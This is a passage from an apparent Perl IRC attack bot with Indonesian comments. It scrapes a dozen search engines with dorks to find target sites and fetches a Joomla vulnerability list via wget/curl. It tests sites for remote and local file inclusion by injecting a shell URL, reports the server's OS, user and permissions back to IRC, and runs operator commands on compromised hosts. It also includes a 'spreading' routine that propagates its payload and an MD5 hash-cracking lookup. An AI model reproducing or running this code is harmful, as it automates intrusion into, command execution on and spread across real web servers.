  886. if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
  887. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."Yahoo",$colz{13}." $h");
  888. }
  889. if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,$colz{9}."Yahoo",$colz{4}."Banned!"); }
  890. if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  891. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Yahoo","$nxurl");}
  892.  
  893. }
  894. while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  895. while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  896. $p++; if ( $p > $max ) { return @daftar; }
  897. $nxurl = $murl.htmltourl($1);
  898. $q = bukasitus($nxurl);
  899. while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  900. }
  901. return @daftar;
  902. }
  903. ##[ ALTAVISTA ]##
  904. sub se_altavista {
  905. my ($chan,$key,$nf) = @_;
  906. my @daftar;
  907. my $num = 100; my $max = 500; my $p;
  908. my $url = "http://www.altavista.com/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
  909. my $murl;
  910. my $nxurl;
  911. my $q = bukasitus($url);
  912. if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  913. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Altavista","$nxurl");}
  914. }
  915. while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  916. while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  917. $nxurl = $murl.htmltourl($1);
  918. $q = bukasitus($nxurl);
  919. while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  920. }
  921. return @daftar;
  922. }
  923. ##[ ALLTHEWEB ]##
  924. sub se_alltheweb {
  925. my ($chan,$key,$nf) = @_;
  926. my @daftar;
  927. my $num = 100; my $max = 20; my $p = 1;
  928. #my $url = "http://localhost/search/www.alltheweb.com.htm";
  929. my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
  930. my $murl;
  931. my $nxurl;
  932. my $q = bukasitus($url);
  933. if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
  934. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."AllTheWeb",$colz{13}." $h");
  935. }
  936. if ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  937. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"AllTheWeb","$nxurl");}
  938. }
  939. while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  940. while ( $q =~ /<a href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  941. $nxurl = $murl.htmltourl($1);
  942. $q = bukasitus($nxurl);
  943. while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  944. }
  945. return @daftar;
  946. }
  947. ##[ GOODSEARCH ]##
  948. sub se_goodsearch {
  949. my ($chan,$key,$nf) = @_;
  950. my @daftar;
  951. my $num = 0; my $max = 300; my $p = 1;
  952. #my $url = "http://localhost/search/www.goodsearch.com.html";
  953. my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  954. my $murl = "http://www.goodsearch.com/";
  955. my $nxurl;
  956. my $q = bukasitus($url);
  957. if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
  958. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."GoodSearch",$colz{13}." $h");
  959. }
  960. if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
  961. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"GoodSearch","$nxurl");}
  962. }
  963. while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  964. for ($p=2;$p<=$max;$p++) {
  965. $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  966. $q = bukasitus($url);
  967. while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  968. if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
  969. }
  970. return @daftar;
  971. }
  972. ##[ UOL ]##
  973. sub se_uol {
  974. my ($chan,$key,$nf) = @_;
  975. my @daftar;
  976. my $num = 10; my $max = 5000; my $p;
  977. #my $url = "http://localhost/search/busca.uol.com.br.htm";
  978. my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
  979. my $murl = "http://busca.uol.com.br";
  980. my $nxurl;
  981. my $q = bukasitus($url);
  982. if ( $q =~ /results\">(.+?)<\/strong>/ ) {
  983. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."Uol",$colz{13}." $h");
  984. }
  985. if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
  986. my $nxurl = htmltourl($1); if ($conf{showdbse} == 1){msgn($dbgchan,"Uol","$nxurl");}
  987. }
  988. while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  989. for ($p=1;$p<=$max;$p += $num) {
  990. $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
  991. while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  992. if ( $q !~ /<dt><a href/ ) { return @daftar; }
  993. }
  994. return @daftar;
  995. }
  996. ##[ LIVE ]##
  997. sub se_live {
  998. my ($chan,$key,$nf) = @_;
  999. my @daftar;
  1000. my $num = 10; my $max = 100; my $p;
  1001. #my $url = "http://localhost/search/search.live.com.htm";
  1002. my $url = "http://search.live.com/results.aspx?q=".$key."&go";
  1003. my $murl = "http://search.live.com";
  1004. my $nxurl;
  1005. my $q = bukasitus($url);
  1006. if ( $q =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
  1007. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Live",htmltourl($nxurl));}
  1008. }
  1009. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  1010. my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  1011. }
  1012. for ( $p=0;$p<=$max;$p += $num ) {
  1013. $nxurl = $murl.htmltourl($1)."&go";
  1014. $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
  1015. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  1016. my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  1017. }
  1018. }
  1019. return @daftar;
  1020. }
  1021. ##[ CLUSTY ]##
  1022. sub se_clusty {
  1023. my ($chan,$key,$nf) = @_;
  1024. my @daftar;
  1025. my $num = 50;
  1026. #my $url = "http://localhost/search/clusty.com.htm";
  1027. my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
  1028. my $murl = "http://clusty.com";
  1029. my $nxurl;
  1030. my $q = bukasitus($url);
  1031. if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
  1032. my $h = $1; $h =~ s/,//g; msgt($chan,$colz{9}."Clusty",$colz{13}." $h");
  1033. }
  1034. if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  1035. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Clusty",htmltourl($nxurl));}
  1036. }
  1037. while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  1038. while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  1039. $nxurl = $murl.htmltourl($1);
  1040. $q = bukasitus($nxurl);
  1041. while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  1042. }
  1043. return @daftar;
  1044. }
  1045. ##[ LYCOS ]##
  1046. sub se_lycos {
  1047. my ($chan,$key,$nf) = @_;
  1048. my @daftar;
  1049. my $num = 10; my $max = 200; my $p;
  1050. #my $url = "http://localhost/search/search.lycos.com.htm";
  1051. my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
  1052. my $murl = "http://search.lycos.com/";
  1053. my $nxurl;
  1054. my $q = bukasitus($url);
  1055. if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
  1056. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Lycos","$nxurl");}
  1057. }
  1058. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  1059. for ( $p=0;$p<=$max;$p++ ) {
  1060. $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
  1061. while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  1062. if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
  1063. }
  1064. return @daftar;
  1065. }
  1066. ##[ VIRGILIO ]##
  1067. sub se_virgilio {
  1068. my ($chan,$key,$nf) = @_;
  1069. my @daftar;
  1070. my $num = 20; my $max = 2000; my $p = 0;
  1071. my $url = "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
  1072. my $murl = "http://ricerca.alice.it/";
  1073. my $nxurl;
  1074. my $q = bukasitus($url);
  1075. if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
  1076. my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
  1077. msgt($chan,$colz{9}."Virgilio",$colz{13}." $h");
  1078. }
  1079. if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  1080. my $nxurl = $1; if ($conf{showdbse} == 1){msgn($dbgchan,"Virgilio","$nxurl");}
  1081. }
  1082. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  1083. while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  1084. $nxurl = $murl.htmltourl($1);
  1085. $q = bukasitus($nxurl);
  1086. while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  1087. }
  1088. return @daftar;
  1089. }
  1090. ##[ WEBDE ]##
  1091. sub se_webde {
  1092. my ($chan,$key,$nf) = @_;
  1093. my @daftar;
  1094. my $num = 1; my $max = 100; my $p;
  1095. for ( $p = 0;$p <= $max; $p += $num ) {
  1096. my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
  1097. my $q = bukasitus($url);
  1098. while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
  1099. if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
  1100. }
  1101. return @daftar;
  1102. }
  1103. ##[ HOTBOT ]##
  1104. sub se_hotbot {
  1105. my ($chan,$key,$nf) = @_;
  1106. my @daftar;
  1107. my $num = 1; my $max = 200; my $p;
  1108. for ( $p = 0;$p <= $max; $p += $num ) {
  1109. my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
  1110. my $q = bukasitus($url);
  1111. while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
  1112. my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
  1113. }
  1114. if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
  1115. }
  1116. return @daftar;
  1117. }
  1118. ##[ NETSCAPE ]##
  1119. sub se_netscape {
  1120. my ($chan,$key,$nf) = @_;
  1121. my @daftar;
  1122. my $num = 1; my $max = 10; my $p;
  1123. for ( $p = 0;$p <= $max; $p += $num ) {
  1124. my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
  1125. my $q = bukasitus($url);
  1126. while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
  1127. my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
  1128. }
  1129. if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
  1130. }
  1131. return @daftar;
  1132. }
  1133. ## END OF RUTIN SEARCH ENGINE ##
  1134.  
  1135. ##[ BUG JOOMLA ]##
  1136. sub bugjoomla {
  1137. my $mode = $_[0];
  1138. my @bugz;
  1139. system("lwp-download ".$joomlaz);
  1140. system("curl -O ".$joomlaz);
  1141. system("wget ".$joomlaz);
  1142. open(FILE,"< joomla.txt");
  1143. if ($mode eq "hitung") {
  1144. my $baris = 0; my $buff;
  1145. while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
  1146. close FILE;
  1147. f_hapus("joomla.txt*");
  1148. return $baris;
  1149. }
  1150. else {
  1151. while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
  1152. close(FILE);
  1153. f_hapus("joomla.txt*");
  1154. return @bugz;
  1155. }
  1156. }
  1157.  
  1158. ##[ MILW0RM ]##
  1159. sub milw0rm {
  1160. my ($chan,$key) = @_;
  1161. my $max = 10; my $i;
  1162. #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
  1163. my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
  1164. irc_msg($chan," [milw0rm.com] $key ");
  1165. while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
  1166. $i++;
  1167. my ($exp,$judul) = ($1,$2);
  1168. irc_msg($chan,$colz{14}." $judul http://milw0rm.com/exploits/$exp ");
  1169. sleep(1);
  1170. return if ($i == $max);
  1171. }
  1172. }
  1173.  
  1174. ##[ BERSIH DORK ]##
  1175. sub bersihdork {
  1176. my ($chan,$dork) = @_;
  1177. if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
  1178. irc_msg($chan,$colz{9}." Membersihkan kata kunci Google.. ");
  1179. $dork =~ s/^inurl://g;
  1180. $dork =~ s/^allinurl://g;
  1181. $dork =~ s/^intext://g;
  1182. $dork =~ s/^allintext://g;
  1183. $dork =~ s/^intitle://g;
  1184. $dork =~ s/^allintitle://g;
  1185. }
  1186. return $dork;
  1187. }
  1188.  
  1189. ##[ SORTIR LINK ]##
  1190. sub lnk_sortir {
  1191. my @unik = ();
  1192. my %ada = ();
  1193. foreach my $e ( @_ ) {
  1194. next if $ada{ $e }++;
  1195. push (@unik, $e);
  1196. }
  1197. return @unik;
  1198. }
  1199.  
  1200. ##[ SARING LINK ]##
  1201. sub lnk_filter {
  1202. my @unik = ();
  1203. foreach my $url ( @_ ) {
  1204. my $jelek = 0;
  1205. foreach my $b ( @badlinkz ) {
  1206. if ($url =~ /$b/) { $jelek = 1; }
  1207. }
  1208. if ($jelek == 0) { push (@unik, $url); }
  1209. }
  1210. return @unik;
  1211. }
  1212.  
  1213. ##[ SUBLINK ]##
  1214. sub lnk_sub {
  1215. my $link = $_[0];
  1216. my (@links,$path);
  1217. my ($host,@paths) = split(/\//,$link);
  1218. $host .= "/";
  1219. push (@links,$host);
  1220. foreach my $e (@paths) {
  1221. if ($e) {
  1222. $path .= $e."/";
  1223. my $sublink = $host.$path;
  1224. push (@links,$sublink);
  1225. }
  1226. }
  1227. return @links;
  1228. }
  1229.  
  1230. ##[ INFO OS ]##
  1231. sub info_os {
  1232. my $url = $_[0];
  1233. my @info;
  1234. my $h = bukasitus($url.$Ckrid2."??");
  1235. if ($url =~ /casper/){
  1236. $h = bukasituslfi($url."tes");
  1237. }else{
  1238. $h = bukasitus($url.$Ckrid2."??");
  1239. }
  1240. my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1241. while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
  1242. while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
  1243. while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
  1244. while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
  1245. while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
  1246. while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
  1247. while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
  1248. while ( $h =~ m/<br>PERM: (.+?)<br>/g ) { $perm = $1; }
  1249. while ( $h =~ m/<br>HDD: (.+?)<br>/g ) { $hdd = $1; }
  1250. while ( $h =~ m/<br>DISFUNC: (.+?)<br>/g ) { $disfunc = $1; }
  1251. push (@info,$safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1252. return @info;
  1253. }
  1254.  
  1255. ##[ SAFEMODE INFO ]##
  1256. sub safemode {
  1257. my ($type,$chan,$situs,$bug,$engine) = @_;
  1258. my $safemode; my $vurn; my $sb;
  1259. if ($type == 1) { $vurn = "http://".$situs.$bug; $sb = $vurn; }
  1260. else { $vurn = $situs; $sb = $vurn; }
  1261. my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc) = info_os($vurn);
  1262. if ($safe =~ /OFF/) { $safemode = "OFF"; } elsif ($safe =~ /ON/) { $safemode ="ON"; } else { $safemode ="-"; }
  1263. if ($disfunc) { $disfunc = "[Disfunc][ $disfunc ]"; } else { $disfunc = ""; }
  1264. if ($perm =~/W/) { $perm = "$perm"; } else { $perm = "$perm"; }
  1265. my $statustgt = "[RFI]";
  1266. if($sb =~ /casper/){$statustgt = "[LFI]";}
  1267. my $S1 = $colz{9}.$statustgt.$colz{1}."[".$colz{4}.$safemode.$colz{1}."][".$colz{13}.$os.$colz{1}."][ ".$colz{12}.$sb.$colz{1}." ]";
  1268. my $S2 = "[".$colz{14}."Uname".$colz{1}."][ ".$colz{10}.$uname.$colz{1}." ] [".$colz{14}."User".$colz{1}."][ ".$colz{10}.$user.$colz{12}." / $uid ".$colz{1}."] [".$colz{14}."Server".$colz{1}."][".$colz{10}." $server ".$colz{1}."] ";
  1269. my $S3 = "[".$colz{14}."Dir".$colz{1}."][".$colz{10}." $dir $perm ".$colz{1}."] [".$colz{14}."HDD".$colz{1}."][".$colz{10}." $hdd ]".$colz{4}." $disfunc ";
  1270. if ($type == 1) {
  1271. irc_msg($dbgchan,$S1);
  1272. if($safemode =~ /O/){ irc_msg($dbgchan,$S2); irc_msg($dbgchan,$S3); }
  1273. irc_msg($chan,$colz{9}.$engine) if ($engine);
  1274. }
  1275. ##[ SPREADING ]##
  1276. bukasitus($vurn.$spread."?");
  1277. bukasituslfisprd($vurn);bukasituslfisprd2($vurn);
  1278. sleep($conf{sleepz});
  1279. irc_msg($chan,$S1);
  1280. if($safemode =~ /O/){ irc_msg($chan,$S2); irc_msg($chan,$S3); }
  1281. }
  1282.  
  1283. ##[ CEK SHELL ]##
  1284. sub cek_shell {
  1285. my ($chan,$nick,$situs) = @_;
  1286. my $q = bukasitus($situs.$Ckrid."?");
  1287. print $q;
  1288. if ($q =~ /Casper_Kae/) { safemode(2,$chan,$situs,"",""); }
  1289. elsif ($q =~ /failed to open stream/){
  1290. my $qlfi = bukasitus($situs.$lfitest);
  1291. if ($qlfi =~ /HTTP_USER_AGENT/){ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."] $colz{12} ".$situs.$colz{8}.$lfitest);safemode(2,$chan,$situs.$lfitest."&casper=","",""); }
  1292. }
  1293. else { irc_msg($chan,$colz{9}.$nick.$colz{4}.", targetnya ga vurnerable!"); }
  1294. }
  1295.  
  1296. ##[ ENCRYPT ]##
  1297. sub cr_encrypt {
  1298. my ($too,$dataenc) = @_;
  1299. my $teks =$dataenc;
  1300. my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
  1301. my $request = HTTP::Request->new(GET=>$hashing);
  1302. my $useragent = LWP::UserAgent->new();
  1303. $useragent->timeout($conf{timeout});
  1304. my $response = $useragent->request($request);
  1305. if ($response->is_success) {
  1306. my $res = $response->content;
  1307. if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
  1308. my ($md5,$sha1,$base64) = ($1,$2,$3);
  1309. irc_msg($too,$colz{14}."MD5 : ".$colz{13}.$teks.$colz{14}." -> ".$colz{12}.$md5);
  1310. irc_msg($too,$colz{14}."Sha1 : ".$colz{13}.$teks.$colz{14}." -> ".$colz{12}.$sha1);
  1311. irc_msg($too,$colz{14}."Base64 : ".$colz{13}.$teks.$colz{14}." -> ".$colz{12}.$base64);
  1312. }
  1313. }
  1314. else { irc_msg($too,$colz{4}."MainHack Cannot open web code"); }
  1315. }
  1316.  
  1317. ##[ DECRYPT ]##
  1318. sub cr_decrypt {
  1319. my ($too,$datadec) = @_;
  1320. my $hash = $datadec;
  1321. my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
  1322. my $request = HTTP::Request->new(GET=>$cracker);
  1323. my $useragent = LWP::UserAgent->new();
  1324. $useragent->timeout($conf{timeout});
  1325. my $response = $useragent->request($request);
  1326. if ($response->is_success) {
  1327. my $res = $response->content;
  1328. if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
  1329. my $result = $1;
  1330. irc_msg($too,$colz{14}."md5 [RedNoize] ".$colz{13}.$hash.$colz{14}." -> ".$colz{12}.$result);
  1331. }
  1332. else {
  1333. irc_msg($too,$colz{14}."md5 [RedNoize] ".$colz{13}.$hash.$colz{4}." not found.");
  1334. }
  1335. }
  1336. else { irc_msg($too,$colz{4}."Cannot open Md5.RedNoize.cOm"); }
  1337. }
  1338.  
  1339. ##[ CEK IP ]##
  1340. sub cr_ipcek {
  1341. my ($too,$dipcek) = @_;
  1342. my $ip = $dipcek;
  1343. my $website = "http://www.ipligence.com/geolocation";
  1344. my ($useragent,$request,$response,%form);
  1345. undef %form;
  1346. $form{ip} = $ip;
  1347. $useragent = LWP::UserAgent->new;
  1348. $useragent->timeout($conf{timeout});
  1349. $request = POST $website,\%form;
  1350. $response = $useragent->request($request);
  1351. if ($response->is_success) {
  1352. my $res = $response->content;
  1353. if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
  1354. my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  1355. irc_msg($too,$colz{14}."IP Address : ".$colz{13}.$ipaddress);
  1356. irc_msg($too,$colz{14}."City : ".$colz{13}.$city);
  1357. irc_msg($too,$colz{14}."Country : ".$colz{13}.$country);
  1358. irc_msg($too,$colz{14}."Continent : ".$colz{13}.$continent);
  1359. }
  1360. else { irc_msg($too,$colz{4}."IP-Location Invalid address or IP not found."); }
  1361. }
  1362. else { irc_msg($too,$colz{4}."IP-Location Cannot open www.ipligence.com"); }
  1363. }
  1364.  
  1365. ##[ CEK ZIP ]##
  1366. sub cr_zipcek {
  1367. my ($too,$dzipcek) = @_;
  1368. my $zip = $dzipcek;
  1369. my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
  1370. my $request = HTTP::Request->new(GET=>$website);
  1371. my $useragent = LWP::UserAgent->new();
  1372. $useragent->timeout($conf{timeout});
  1373. my $response = $useragent->request($request);
  1374. if ($response->is_success) {
  1375. my $res = $response->content;
  1376. if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
  1377. my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
  1378. irc_msg($too,$colz{14}."City Name : ".$colz{13}.$city);
  1379. irc_msg($too,$colz{14}."State Code : ".$colz{13}.$state);
  1380. irc_msg($too,$colz{14}."ZIP Code : ".$colz{13}.$zipcode);
  1381. irc_msg($too,$colz{14}."County Name : ".$colz{13}.$county);
  1382. irc_msg($too,$colz{14}."Area Code : ".$colz{13}.$area);
  1383. }
  1384. else { irc_msg($too,$colz{4}."US-ZIP $zip is not a valid ZIP code."); }
  1385. }
  1386. else { irc_msg($too,$colz{4}."US-ZIP Cannot open www.ZIPInfo.com"); }
  1387.  
  1388. }
  1389.  
  1390. ##[ CMD USER ]##
  1391. sub cmd_lfi {
  1392. my ($too,$situs,$cmduser) = @_;
  1393. $cmdlfiu = $cmduser;
  1394.  
  1395. my $qlfi = bukasituslficmd($situs.$lfitest);
  1396. if ($qlfi =~ /HTTP_USER_AGENT/){
  1397. irc_msg($too,"[".$colz{9}."CMDLFI".$colz{1}."][".$cmduser."] sudah dilaksanakan");
  1398.  
  1399. }
  1400. else { irc_msg($too,$colz{4}."target LFI ga vurnerable!"); }
  1401. bukasituslfisprd($situs.$lfitest);bukasituslfisprd2($situs.$lfitest);
  1402. }
  1403. sub cmd_rfi {
  1404. my ($too,$situs,$cmduser) = @_;
  1405. $cmdrfiu = $cmduser;
  1406. my $q = bukasitus($situs.$Ckrid2."?casper=".$cmduser);
  1407. if ($q =~ /Casper_Kae/){
  1408. irc_msg($too,"[".$colz{9}."CMDRFI".$colz{1}."][".$cmduser."] sudah dilaksanakan");
  1409. }
  1410. else { irc_msg($too,$colz{4}."target RFI ga vurnerable!"); }
  1411. bukasitus($situs.$spread."?");
  1412. }
  1413. sub cmd_xml {
  1414. my ($too,$situs,$cmduser) = @_;
  1415. my $q = bukasituscrxml($situs,$cmduser);
  1416. if($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1417. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1418. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1419. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1420. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1421. irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sleepz});
  1422. irc_msg($too,$11);irc_msg($too,$12); }
  1423. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1424. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1425. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1426. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1427. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1428. irc_msg($too,$9);irc_msg($too,$10);sleep($conf{sleepz});
  1429. irc_msg($too,$11); }
  1430. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1431. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1432. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1433. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1434. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1435. irc_msg($too,$9);irc_msg($too,$10);}
  1436. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1437. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1438. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1439. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1440. irc_msg($too,$7);irc_msg($too,$8);sleep($conf{sleepz});
  1441. irc_msg($too,$9);}
  1442. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1443. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1444. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1445. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1446. irc_msg($too,$7);irc_msg($too,$8);}
  1447. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1448. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1449. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1450. irc_msg($too,$5);irc_msg($too,$6);sleep($conf{sleepz});
  1451. irc_msg($too,$7);}
  1452. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1453. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
  1454. irc_msg($too,$3);irc_msg($too,$4);sleep($conf{sleepz});
  1455. irc_msg($too,$5);irc_msg($too,$6);}
  1456. elsif($q =~ /casper(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)\s+(.*)kae/){
  1457. irc_msg($too,$1);irc_msg($too,$2);sleep($conf{sleepz});
